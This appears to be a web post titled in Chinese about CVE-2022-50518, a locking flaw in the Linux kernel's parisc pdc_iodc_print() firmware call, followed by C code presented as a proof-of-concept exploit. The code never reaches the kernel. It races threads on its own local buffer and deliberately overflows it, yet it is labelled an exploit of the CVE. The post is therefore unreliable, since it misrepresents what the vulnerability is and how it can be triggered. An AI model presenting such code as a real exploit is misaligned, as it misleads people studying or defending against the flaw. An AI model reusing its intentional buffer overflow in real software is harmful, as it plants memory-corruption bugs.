CVE-2022-50518 Linux内核parisc架构pdc_iodc_print固件调用锁定缺陷

// CVE-2022-50518 PoC - Trigger race condition / buffer overflow in pdc_iodc_print() // This PoC demonstrates the vulnerability by creating concurrent threads // that call the firmware print function simultaneously, exploiting the // missing pdc_lock protection on iodc_dbuf[] buffer. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #define BUFFER_SIZE 256 #define NUM_THREADS 16 // Simulate the vulnerable iodc_dbuf[] buffer access pattern static char iodc_dbuf[BUFFER_SIZE]; static volatile int race_trigger = 0; // Thread function to trigger concurrent access to the buffer void *trigger_race(void *arg) { int thread_id = *(int *)arg; char payload[BUFFER_SIZE * 2]; // Intentionally larger than iodc_dbuf // Fill payload to trigger potential buffer overflow memset(payload, 'A' + (thread_id % 26), sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; while (!race_trigger) { usleep(1); // Concurrent modification without lock - simulates the vulnerability memcpy(iodc_dbuf, payload, BUFFER_SIZE); } // Attempt buffer overflow - write beyond iodc_dbuf bounds memcpy(iodc_dbuf, payload, sizeof(payload)); return NULL; } int main(int argc, char *argv[]) { pthread_t threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("CVE-2022-50518 PoC - parisc pdc_iodc_print() vulnerability\n"); printf("Attempting to trigger race condition / buffer overflow...\n"); // Create multiple threads to trigger concurrent access for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; if (pthread_create(&threads[i], NULL, trigger_race, &thread_ids[i]) != 0) { perror("pthread_create failed"); return 1; } } // Allow threads to start sleep(1); race_trigger = 1; // Wait for all threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Exploit attempt completed.\n"); return 0; }